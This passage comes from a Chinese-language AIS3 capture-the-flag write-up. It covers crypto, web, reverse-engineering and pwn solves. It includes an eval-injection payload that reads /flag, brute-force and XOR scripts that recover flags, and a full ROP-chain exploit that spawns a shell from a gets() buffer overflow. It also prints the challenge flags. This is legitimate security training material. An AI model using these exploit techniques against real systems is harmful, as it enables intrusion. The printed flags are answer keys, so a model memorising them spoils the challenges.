r.sendlineafter(b":", b64encode(payload)) c = b64decode(r.recvline().strip(b"'b\n")) print(len(c)) cipher64_80 = xor(c[64:80], message[64:80]) init_MDBuffer = produce(cipher64_80) # key = md5(message[128-16: 128], 128+16) # print(xor(key,c[128: 128+16])) # message += xor(key, c[128: 128+16]) # key = md5(message[128-16: 128+16], 128+16+16) # print(xor(key, c[128+16: 128+32])) # message += xor(key, c[128+16: 128+32]) for i in range(4): key = md5(message[128-16: 128+16*i], 128+16*(i+1)) message += xor(key, c[128+16*i: 128+16*(i+1)]) print(message) #AIS3{Got1stBlk!_2ndblk!almostdone!third_block~} ``` ## Web ### Evil Calculator 他是一個計算器,方式是輸入東西,然後會在後端用python的eval去執行,只要去修改送出去的request就可以送任意內容了。我一開始以為要做到RCE(但因為會把_和空格都replace掉所以沒辦法),後來發現只要去讀flag就好了,以下是payload ```json {"expression":"open('/flag').read()"} //{"result":"AIS3{7RiANG13_5NAK3_I5_50_3Vi1}"} ``` ## Reverse ### The Long Print ```cpp! int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v4; // [rsp+4h] [rbp-Ch] int i; // [rsp+8h] [rbp-8h] int j; // [rsp+Ch] [rbp-4h] puts("Hope you have enough time to receive my flag:"); for ( i = 0; i <= 23; i += 2 ) { v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]]; for ( j = 0; j <= 3; ++j ) { sleep(0x3674u); printf("%c", v4); v4 >>= 8; fflush(_bss_start); } } puts("\rOops! Where is the flag? I am sure that the flag is already printed!"); return 0; } ``` 這題我本來用靜態的,就是把那幾個陣列都弄出來,然後把code複製下來,但是一直怪怪的,所以我硬去執行他。他簡單的來說就是會經過xor之後得到一個unsigned int,然後把它一個一個byte輸出出來,中間有很多sleep。我直接用gdb開起來,執行到sleep之前在後面下斷點,然後跳到後面,看他print的內容。為了節省時間,我拿的是那個unsigned int,再把他print出來,以下是exploit ```cpp #include<stdio.h> void printflag(long long x){ for(int i = 0; i < 4; i++){ printf("%c", x); x >>= 8; } } int main(){ printflag(0x33534941); printflag(0x756f597b); printflag(0x6572615f); printflag(0x6568745f); printflag(0x73616d5f); printflag(0x5f726574); printflag(0x745f666f); printflag(0x5f656d69); printflag(0x616e616d); printflag(0x656d6567); printflag(0x2121746e); printflag(0x7d3f2121); } //AIS3{You_are_the_master_of_time_management!!!!?} ``` ### 火拳のエース ```cpp! int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5; // [esp-18h] [ebp-34h] int v6; // [esp-14h] [ebp-30h] int v7; // [esp-10h] [ebp-2Ch] int v8; // [esp+4h] [ebp-18h] int v9; // [esp+8h] [ebp-14h] int v10; // [esp+Ch] [ebp-10h] int i; // [esp+10h] [ebp-Ch] v3 = time(0); srand(v3); buffer0 = (char *)malloc(9u); buffer1 = (char *)malloc(9u); buffer2 = (char *)malloc(9u); buffer3 = (char *)malloc(9u); memset(buffer0, 0, 9u); memset(buffer1, 0, 9u); memset(buffer2, 0, 9u); memset(buffer3, 0, 9u); print_flag(); __isoc99_scanf("%8s %8s %8s %8s", buffer0, buffer1, buffer2, buffer3, v5, v6, v7); xor_strings(buffer0, &unk_804A163, buffer0); xor_strings(buffer1, v8, buffer1); xor_strings(buffer2, v9, buffer2); xor_strings(buffer3, v10, buffer3); for ( i = 0; i <= 7; ++i ) { buffer0[i] = complex_function(buffer0[i], i); buffer1[i] = complex_function(buffer1[i], i + 32); buffer2[i] = complex_function(buffer2[i], i + 64); buffer3[i] = complex_function(buffer3[i], i + 96); } if ( !strncmp(buffer0, "DHLIYJEG", 8u) && !strncmp(buffer1, "MZRERYND", 8u) && !strncmp(buffer2, "RUYODBAH", 8u) && !strncmp(buffer3, "BKEMPBRE", 8u) ) { puts("Yes! I remember now, this is it!"); } else { puts("It feels slightly wrong, but almost correct..."); } free(buffer0); free(buffer1); free(buffer2); free(buffer3); return 0; } ``` 這題先給了flag的前墜,他的後面分別塞在四個buffer裡面。buffer會先經過xor之後再經過complex_function。通過complex_function之前buffer的狀態可以透過逐位的窮舉得出,以下是exploit: ```cpp! #include<bits/stdc++.h> using namespace std; int complex_function(int a1, int a2) { int v2; // eax int v4; // [esp+8h] [ebp-10h] int v5; // [esp+Ch] [ebp-Ch] if ( a1 <= 64 || a1 > 90 ) { // puts("It feels slightly wrong, but almost correct..."); // exit(1); return -1; } v5 = (17 * a2 + a1 - 65) % 26; v4 = a2 % 3 + 3; v2 = a2 % 3; if ( a2 % 3 == 2 ) { v5 = (v5 - v4 + 26) % 26; } else if ( v2 <= 2 ) { if ( v2 ) { if ( v2 == 1 ) v5 = (2 * v4 + v5) % 26; } else { v5 = (v4 * v5 + 7) % 26; } } return v5 + 65; } char buffer0[8], buffer1[8], buffer2[8], buffer3[8]; string target0 = "DHLIYJEG"; string target1 = "MZRERYND"; string target2 = "RUYODBAH"; string target3 = "BKEMPBRE"; int main(){ for (int i = 0; i <= 7; ++i ) { for(int j = 0; j < 0xff; j++){ if(complex_function(j, i) == target0[i]){ buffer0[i] = j; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 32) == target1[i]){ buffer1[i] = j; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 64) == target2[i]){ buffer2[i] = j; break; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 96) == target3[i]){ buffer3[i] = j; break; } } } for(int i = 0; i < 8; i++){ cout << buffer0[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer1[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer2[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer3[i]; } } //QIIKAHBJ //TRDMYLWD //NMTLWVYB //ERHAXFUN ``` 接下來要去找xor之前的值,發現有幾個沒初始化的值v8, v9, v10,所以用動態分析的方式。找每次call xor_strings的arg[1] ,然後用小端序輸出,以下是exploit: ```python! #AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} from pwn import * def xor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) c1 = b"QIIKAHBJ" key1 = b"\x0E\r}\x06\x0F\x17v\x04" c2 = b"TRDMYLWD" key2 = p64(0x1162136c7c1b006d) c3 = b"NMTLWVYB" key3 = p64(0x710e660713067e1e) c4 = b"ERHAXFUN" key4 = p64(0x33746779701d1417) print(xor(c1, key1) + xor(c2, key2) + xor(c3, key3) + xor(c4, key4)) #_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} ``` ## Pwn ### mathter ```cpp __int64 goodbye() { char v1[4]; // [rsp+Ch] [rbp-4h] BYREF puts("Are you sure you want to leave? [Y/n]"); gets(v1); if ( v1[0] != 121 && v1[0] != 89 ) return 0LL; puts("Goodbye!"); return 1LL; } ``` 這個goodbye()裡有個buffer overflow,這個binary是static linked,所以直接用ROPgadget搓ROPchain,我是直接讓他生給我很醜的ROPchain,以下是exploit: ```python from pwn import * from struct import pack #r = process("./mathter", level="debug") r = remote("chals1.ais3.org", 50001) raw_input() r.sendlineafter(b": ", b"q") p = b'a' * 12 p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000402540) # pop rdi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004013ea) # syscall r.sendlineafter(b"]\n", p) r.interactive() #AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ```